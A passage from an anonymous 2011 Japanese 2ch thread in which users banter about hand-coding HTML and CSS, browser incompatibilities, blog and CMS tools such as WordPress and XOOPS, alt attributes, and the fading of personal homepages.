建築した家を一般人が作らせる/買う/借りるでしょ、それと同じようにネットのコンテンツも
専業化していくのが流れなんじゃないのかな?


505 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/20(水) 10:19:38.30 ID: 0x+C4fEH0
>>504
だからDIYと建築を分けたらいいってだけの話だと思う。


506 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/20(水) 10:27:58.62 ID: cN89Weqb0
>>503
そのへんはちゃんと下知識として設計するのがプロ
ゆえに、仕様変更で真っ先に発狂するのもプロw


507 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/20(水) 11:03:29.93 ID: /sPW5+aPP
>>503
IE6氏ね!IE7も氏ね!
Operaも視ね!
火狐もやっぱり氏ね!
Webkitも視ね!

Webブラウザ全部士ね(号泣)

となってるのがWeb屋。


508 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/20(水) 11:37:04.04 ID: B4MpdsoL0
>>505
DIYで家を建てようとするなら専門家に近いレベルの技術と知識が必要なんじゃないの?


509 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 11:50:44.20 ID: Yh9+8K7x0
>>508
だからマンション借りて内装だけいじるのが手っ取り早いな。


510 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/20(水) 12:01:18.39 ID: UHniyytW0
ブログブーム以降は、「俺のほーむぺーじ」作るのにhtmlやらcssやらを
自分でいじる人も少ないんじゃないの?


511 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/20(水) 12:21:55.23 ID: 0x+C4fEH0
>>508
うん、だから家を建てなければいいし、
そもそも家と違って構造が狂ってても
誰もそこに住まないから困らないよ。


512 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 14:53:06.69 ID: YgpmHWY8P
実際ブラウザって壁が言語自体をゴミにしちゃってるとこあるな。

javascriptもPHPもスクリプト言語だからくずなんじゃなくて
ブラウザ間動作の違い修正とバグの尻拭いが仕事の大半みたいになってる。


513 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/20(水) 16:18:52.81 ID: pJxs1q970
たまにはExpressionWebの事も思い出してあげてください。


514 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/20(水) 17:11:29.23 ID: /sPW5+aPP
最近はhtmlの直コードかかずにdrupalで作ってるサイトも多いしな。
日本はWordPressやらxoopsだけど海外だとdrupalかなり多い。
NASAのサイトもそうだし。


515 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/20(水) 17:13:28.49 ID: ye5m2Gi+0
>>510
WordPressとかみているとブログ以外のコンテンツも管理楽そうだよね


516 名前: 名無しさん@涙目です。(茨城県) Mail: sage 投稿日: 2011/04/20(水) 17:27:11.70 ID: wdOOYs0G0
最近ブログ始めたけどWordPress使うと紋切り型のページしか出来なくて半日でアンスコしたわ


517 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 17:58:40.68 ID: 9aGn3pR80
改行レイアウトはワープロでも基本だからなぁ


518 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 19:09:14.67 ID: +weN4SnD0
>>515
WordPress使いづらいよ。なんでもてはやされてるのか。


519 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/20(水) 19:18:07.18 ID: /sPW5+aPP
>>518
まあ使いにくさでいえば
MTも大概だけどなー。


520 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/20(水) 19:25:28.14 ID: JOyGAvvK0
fontタグを数える仕事はいかがだろうか。
ttp://homepage2.nifty.com/kaguraclub/


521 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 19:35:23.27 ID: +weN4SnD0
>>519
その点XOOPSはポンコツだけど慣れれば使いやすい。


522 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/20(水) 19:59:56.52 ID: TcGV+8s90
2. 画像に代替テキストのalt属性が入っていない

これ何か意味あんの?どうせ出てこないじゃん


523 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 20:07:32.63 ID: 9aGn3pR80
無料ブログは書けないタグが多すぎる


524 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/20(水) 20:07:44.02 ID: 2r+Qcj000
>>522
盲人用の読み上げソフトが参照する。
altを設定してないということは、「メクラは来るなよ」と言ってるに等しい。

らしい。
まぁ、ソースコード見ただけでどんな画像挟んでるか分るから、設定しといた方が見通しいいぜ。


525 名前: 名無しさん@涙目です。(京都府) Mail: sage 投稿日: 2011/04/20(水) 20:09:33.63 ID: PvuZzMsI0
<BR><BR><BR>は手癖


526 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/20(水) 20:52:32.59 ID: /sPW5+aPP
>>521
開発経緯やら遍歴もポンコツだけどなw
やたら重いし。


527 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/20(水) 21:09:09.65 ID: F1xWTFIR0
なあ、PerlベースのCMSってある?
ちょっと前に、 SimpleTemplateモジュールをちょっと発展させたようなのを自作して運用してみたんだけど
どうも使い勝手が悪くて
phpみたいに、htmlにperlスクリプトを直接ぶち込めるような
便利なのってないかな?


528 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 21:37:33.99 ID: VXG3JJ6G0
>>30
これはこうかんどあがった


529 名前: 名無しさん@涙目です。(千葉県) Mail: 投稿日: 2011/04/20(水) 21:42:07.43 ID: NG+eGLwI0
<xmp>


530 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 21:43:24.52 ID: dfSj/Wkj0
<meta name="robots" content="noindex,nofollow">


531 名前: 名無しさん@涙目です。(群馬県) Mail: 投稿日: 2011/04/20(水) 21:48:50.84 ID: zOA54h2S0
3つくらいのブラウザで正常に表示されてりゃ何でもいいだろ


532 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/20(水) 21:58:43.62 ID: TcGV+8s90
>>524
マジかよ
普通にファイル名と同じ文字列入れてたわ
全く意味ねえのな


533 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 22:01:14.96 ID: +weN4SnD0
>>532
あとクロウラーさん用だな


534 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/20(水) 22:08:05.42 ID: 7jk+5fL8P
>>532
画像読めない状態だと健常者でも役に立つんだよね。


535 名前: 【東電 77.2 %】 (埼玉県) Mail: sage 投稿日: 2011/04/20(水) 23:23:42.77 ID: nSsWUvky0
tggyhui


536 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 23:36:36.74 ID: 0Qfp5mPO0
>>491
CSS使えばtableタグなんざ使わなくてもdivタグだけでtableタグ以上のレイアウトができる


537 名前: 名無しさん@涙目です。(三重県) Mail: 投稿日: 2011/04/20(水) 23:54:39.52 ID: rZ+qzE2A0
CSS使えよ


538 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 23:59:03.89 ID: x7ectj/Q0
cssで指定してもborderが0にならん場合があるだろ
リンクの時に枠線がでて見苦しいんだよ


539 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/21(木) 00:01:01.68 ID: 1sUAn8jU0
tableでできてCSSでできないことってなんかあるか
CSSの欠点といえば、ブラウザによって解釈が違うこと
あれ訳わからんわーざけんなよ


540 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/21(木) 00:11:41.41 ID: +VWU4EKr0
ネット初期の個人がホームページを作成する文化って、いつのまにやらブログとかSNSに駆逐されたな。


541 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/21(木) 00:15:21.87 ID: 1E6QBAH90
>>538
いや、それは根本的に間違ってるw


542 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/21(木) 00:38:09.70 ID: 2zcqPwn80
うわ、このスレまだある


543 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/21(木) 00:42:46.58 ID: c7F5rApe0
内部SEO気にして作成してる?どういうソースが正解なのかいまいち掴めないんだよね。


544 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/21(木) 00:51:20.24 ID: 2zcqPwn80
>>543
フツーに作ってたら問題ない


545 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/21(木) 01:27:17.45 ID: ut8d4E5oP
>>543
普通にStrict準拠のように書けばいいだけじゃん?


546 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/21(木) 01:33:15.57 ID: h+XcLMYR0
>>539
俺の場合オペラは見捨ててる
IEと火狐で上手くいけばクローム、サファリも大抵上手くいくし


547 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/21(木) 01:35:02.38 ID: ZoH9IaN+0
三木谷に消された


548 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/21(木) 04:53:59.97 ID: l3yq4qOT0
CSS原理主義者という名のアスペ達が
とほほさんのサイトをつぶしたのは許さない。絶対にだ。


549 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/21(木) 05:06:11.44 ID: ut8d4E5oP
>>548
潰してないよ。本当のことを言っただけじゃないか。


550 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/21(木) 08:21:29.03 ID: SDVFVXm60
>>549
本当のことかもしれないが、病的だな。
ttp://members.jcom.home.ne.jp/pctips/Tondemo/003Tohoho.html


551 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/21(木) 08:54:12.31 ID: LJ7haPE3P
とほほとかで口論してる奴らってその時代で技術が止まってるの?


552 名前: 名無しさん@涙目です。(岐阜県) Mail: 投稿日: 2011/04/21(木) 09:40:32.12 ID: CeUkx3ll0
>>550
なんだこれw
気持ち悪すぎる


553 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/21(木) 09:54:37.98 ID: TOI+xJjG0
>>4
なんかもうほんとごめんやめて


554 名前: 名無しさん@涙目です。(岡山県) Mail: 投稿日: 2011/04/21(木) 10:09:16.08 ID: DIUZ62cG0
今からとほほを参考にするのは危ういのか?
まあ、WYSIWYGで見た目がアレなソースをちょちょいと
突っつくだけだからどうでもいいんだけど

>>550
主張したいことがあるなら、一般的な言葉遣いにすべきだな
こんな文章を読んでまで理解しようとは思わねえ


555 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/21(木) 11:15:35.72 ID: 4HjF6vWv0
とほほの知識で>>4みたいなサイト作ってた思い出


556 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/21(木) 13:48:32.40 ID: iGc5hODF0
未だにユニバーサルセレクタ使ってるけど変かな?


557 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/21(木) 14:37:39.72 ID: fj8kHzXu0
2~3カラムのCSSテンプレートでナウいやつ教えて


558 名前: 名無しさん@涙目です。(関西地方) Mail: sage 投稿日: 2011/04/21(木) 14:40:11.84 ID: tu8y8kxt0
borderはnoneだろ


559 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/21(木) 15:13:50.06 ID: ut8d4E5oP
>>552,554
のじたん知らないとかネット新参増えたな。
でも今じゃ普通にはてなとかで同様の批評をやってるじゃないか。

とほほは参考にしても別に害はないと思う。
でもちゃんと仕様知りたいなら別あたったほうがいいかもね。
神崎先生の本でも読めばいいんじゃないの。絶版だけど。
http://www.amazon.co.jp/%E3%83%A6%E3%83%8B%E3%83%90%E3%83%BC%E3%82%B5%E3%83%ABHTML-XHTML-%E7%A5%9E%E5%B4%8E-%E6%AD%A3%E8%8B%B1/dp/4839904545


560 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/21(木) 15:20:42.41 ID: ccuw3P2E0
>>559
そいつを知らないとネット新参なのか、へえ。


561 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/21(木) 15:32:58.05 ID: ut8d4E5oP
>>560
voidことクソ壁知らないぐらいに新参


562 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/21(木) 15:39:44.43 ID: 6Drn+Gqu0
>>550
気持ち悪い
俺かっこいいとか思ってるのかね


563 名前: 名無しさん@涙目です。(奈良県) Mail: 投稿日: 2011/04/21(木) 15:45:58.59 ID: QjWJ4h+70
してはいけない(戒め)


564 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/21(木) 15:46:08.92 ID: BsU4086w0
</a>


565 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/21(木) 15:46:14.27 ID: ccuw3P2E0
>>561
そうなんだ。ネットって狭いんだな。


566 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/21(木) 15:50:12.99 ID: SDVFVXm60
せいぜい30~40年くらいしか歴史が無いのに新参とか言われても困っちゃう。


567 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/21(木) 15:57:54.11 ID: LJ7haPE3P
2chやってる時点でゴミなのに新参古参とかはずかしいわ


568 名前: 名無しさん@涙目です。(大阪府) Mail: 投稿日: 2011/04/21(木) 16:04:18.15 ID: cq4xpyeW0
>>550
>"しちゃえ"とか"しちゃおう"とか、良い歳をしたをぢさんの文體としてはふさはしからざるものだと思ふが如何。どうやら、わざと氣持ちの惡い書き方をして、スタイルシートに對する嫌惡感を煽らうとしてゐるものと見受けられる。
こっちの書き方のほうが気持ち悪いな
でもこれもわざとか。


569 名前: 名無しさん@涙目です。(岡山県) Mail: 投稿日: 2011/04/21(木) 16:04:22.08 ID: DIUZ62cG0
>>559
一部のコミュニティの問題児が一般レベルの
知名度持ってるわけがないだろ知らんよそんな奴

とほほに関してはありがとうよ


570 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/21(木) 16:20:18.38 ID: fFHlMDzl0
HTMLで野嵜知らないのは、
Common Lispで黒板知らないぐらいに匹敵するんじゃないの。


571 名前: 名無しさん@涙目です。(京都府) Mail: sage 投稿日: 2011/04/21(木) 16:34:33.65 ID: qWI0og5C0
前職がwebデザイナとかだったんだけど、引退して5年ほど。
htmlかける人とかって、いまだに需要あるもんなの?

そろそろ働かなきゃと思うんだけど、別業種の方がベターかな


572 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/21(木) 16:42:41.23 ID: fFHlMDzl0
別業種で0から始めるのと、ある程度知識持って始めるの、
そもそもハードルも得られる物も違うよね。
さすがにHTMLしか書けないできないとかいうのだったらゴミレベルだと思う。


573 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/21(木) 16:44:04.20 ID: F9IMgEl/0
>>568
俺もそこまで読んだ段階で閉じたわw


574 名前: 名無しさん@涙目です。(京都府) Mail: sage 投稿日: 2011/04/21(木) 16:52:12.88 ID: qWI0og5C0
回答にすらなってない(藁


575 名前: 名無しさん@涙目です。(広島県) Mail: 投稿日: 2011/04/21(木) 16:52:46.34 ID: DRyEqhI20
強制的に別タブでリンク開かせるやつ死ねよ


576 名前: 名無しさん@涙目です。(九州) Mail: 投稿日: 2011/04/21(木) 16:57:59.63 ID: Ls/3d6xYO
してはいけない(戒め)


577 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/21(木) 17:27:49.13 ID: oHWI4X0Y0
>>550
キモ過ぎて読むのやめたw

>>571
デザイナとしての素養があるならば道はあるだろう
テーブルの段組とか
連発とかあってもぜんぜんいいの
lynxやw3mで見るわけじゃねえんだし
ただ新しい情報は常に読んでいかないといけないと思う


578 名前: 名無しさん@涙目です。(長崎県) Mail: 投稿日: 2011/04/21(木) 17:44:43.89 ID: 67x7pq5zP
FrontPage Express最強伝説


579 名前: 名無しさん@涙目です。(大阪府) Mail: 投稿日: 2011/04/21(木) 17:52:38.15 ID: l38O8uv30
>>557
つ フレーム、マーキー、ブリンク


580 名前: 名無しさん@涙目です。(大阪府) Mail: 投稿日: 2011/04/21(木) 17:54:00.58 ID: l38O8uv30
>>571
マジレスすると、どこにでも吐いて捨てるほどいる。


581 名前: 名無しさん@涙目です。(大分県) Mail: 投稿日: 2011/04/21(木) 18:44:23.41 ID: et4SWn2Z0
<br><br><br>で
文句あっかコラ








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